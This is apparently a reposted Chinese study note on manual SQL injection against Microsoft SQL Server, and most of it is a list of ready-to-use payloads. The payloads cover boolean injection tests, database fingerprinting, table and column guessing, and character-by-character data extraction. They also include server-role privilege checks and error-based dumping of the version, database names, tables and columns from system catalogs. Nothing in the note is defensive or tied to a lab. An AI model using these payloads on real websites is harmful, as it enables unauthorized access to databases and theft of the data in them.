SQL server手工注入学习笔记

来源:互联网 发布:淘宝买花粉什么牌子 编辑:程序博客网 时间:2024/05/01 01:48

                              MSSQL注入(SQL server)

由于这学期正在学数据库,所以理解SQL语句还是可疑的大笑。看完视频后自己动手实践顺便整理了学习笔记,有些来自视频有些来自其他大佬的博客。


一:判断是否有注入

and 1=1

and 1=2

判断注入的方法是一样的

二:初步判断是否是MSSQL

and user>0

三:判断数据库系统

and (select count(*) from sysobjects) >0       MSSQL

and (select count(*) from msysobjects) >0       ACCESS

四:注入参数是字符

‘and [查询条件] and‘’=’

五:搜索时没过滤参数的

‘and [查询条件] and‘%25=’

六:猜表名

and (select Count(*) from [表名])>0

七:猜字段

and (select Count(字段名) from表名)>0

八:猜字段中记录长度

and (select top 1 len(字段名) from表名)>0

九:猜字段的ascii

1、ACCESS

and (select top 1 asc(mid(字段名,1,1)) from表名)>0

2、MSSQL

and (select top 1 unicode(substring(字段名,1,1)) from表名)>0

十:测试权限结构

and 1=(select is_srvrolemember('sysadmin'))--

and 1=(select is_srvrolemember('serveradmin'))--

and 1=(select is_srvrolemember('setupadmin'))--

and 1=(select is_srvrolemember('securityadmin'))--

and 1=(select is_srvrolemember('diskadmin'))--

and 1=(select is_srvrolemember('bulkadmin'))--

and 1=(select is_member('db_owner'))--

十一:番外

1、爆版本         and @@version>0

2、爆数据库名     and db_name()>0

3、爆当前用户名   and User_Name()>0

4、爆其他数据库   and (SELECT top 1 Name FROM Master..SysDatabases)>0

再爆其他数据库    and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('数据库1'))>0

再继续            and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('数据库1','数据库2'))>0

5、爆表           and (select top 1 name from [数据库名字].sys.all_objects where type='U' AND is_ms_shipped=0)>0

再爆表            and (select top 1 name from[数据库名字].sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('第一个表名'))>0

再继续,同理...

6、爆字段         and (select top 1 COLUMN_NAME from[数据库名字].information_schema.columns where TABLE_NAME='表名')>0

再爆其他字段      and (select top 1 COLUMN_NAME from[数据库名字].information_schema.columns where TABLE_NAME='表名' and COLUMN_NAME not in ('第一个字段名'))>0

再继续,同理...

0 0
原创粉丝点击